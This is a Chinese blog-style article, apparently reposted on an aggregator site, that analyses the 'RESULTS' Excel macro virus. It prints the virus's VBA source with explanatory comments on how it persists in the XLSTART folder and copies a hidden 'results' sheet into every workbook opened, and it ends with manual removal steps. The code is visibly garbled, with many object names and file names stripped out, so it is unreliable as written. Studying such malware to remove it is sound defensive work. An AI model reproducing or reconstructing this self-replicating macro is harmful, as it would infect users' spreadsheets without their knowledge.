admin管理员组文章数量:1568354
2024年7月11日发(作者:)
RESULTS宏病毒学习与处理方法
Sub auto_open()
tActivate = "ck_files" '这个auto_open,是文件打开自动执
行。由于本文件是放在xlstart文件夹,任何excel文件启动,都会先打开这个文件。
End Sub
Sub ck_files()
c$ = pPath '取得xlstart文件夹的路径
m$ = Dir(c$ & "" & "") '取得文件名
If m$ = "" Then p = 1 Else p = 0 '如果result文件不存在,m$是""
If > 0 Then w = 1 Else w = 0 '判断活动工作簿
的模块数量。这个活动工作簿,不是,是你正常打开的那个工作簿。
whichfile = p + w * 10 '这个whichfile变量,是10的话,就是当前活动工作簿有
模块,而xlstart中没有,是1的话,则相反。
Select Case whichfile
Case 10 '当前活动工作簿有模块,而xlstart中没有执行以下代码
Updating = False
n4$ =
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy '将results工作表 copy 出来,新建一个工作簿。这个工
作簿就是下面的活动工作簿了。
With ActiveWorkbook
.Title = "" '帮助中说这是保存为网页时,文档的名称,现在是空白的。
.Subject = "" '帮助中说这是发邮件时,作为邮件主题
.Author = "" '文档作者
.Keywords = "" '关键词
.Comments = "" '注释
End With
newname$ =
c4$ = CurDir() '得到当前驱动器路径,比如C:,E:
ChDir pPath '改变路径到xlstart
e = False
Workbooks(newname$).SaveAs Filename:=pPath & "/" &
"", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False '关键的地方,由于新建工作簿包含results,而
xlstart文件夹中没有,所以将新建工作簿以名保存在xlstart文件夹中。
ChDir c4$ '保存结束,重新转入到原来正常使用的工作簿的路径
Workbooks(n4$).Sheets("results").Visible = False '隐藏results工作表
tActivate = "" '如果你原来就有onsheetactivate的变量,
这儿被它改了。
Updating = True
tActivate = "!ck_files" '每次将工作表变动一
下就会执行这个代码。如果你有好多工作簿,都操作一遍,那么全部染上它了。
Case 1 '当前活动工作簿没有模块,而xlstart中有
Updating = False
n4$ =
p4$ =
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then '如果你使用的工作簿第一个工作表不是results,那么它
就插入病毒文件了。
Workbooks("").Sheets("results").Copy
before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
tActivate = ""
Updating = True
tActivate = "!ck_files"
Case Else
End Select
End Sub
如果不慎运行了代码,可以这样处理:
1,在VBE里面,右键点击它的模块1,选择移除模块,不保存,退出Excel,对提示
是否保存,选择是。
2,C:Documents and SettingsAdministratorApplication
DataMicrosoftExcelXLSTART里面删除。
再打开Excel,检查VBE,已经没有这个宏了。
版权声明:本文标题:RESULTS宏病毒学习与处理方法 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dianzi/1720648510a835802.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论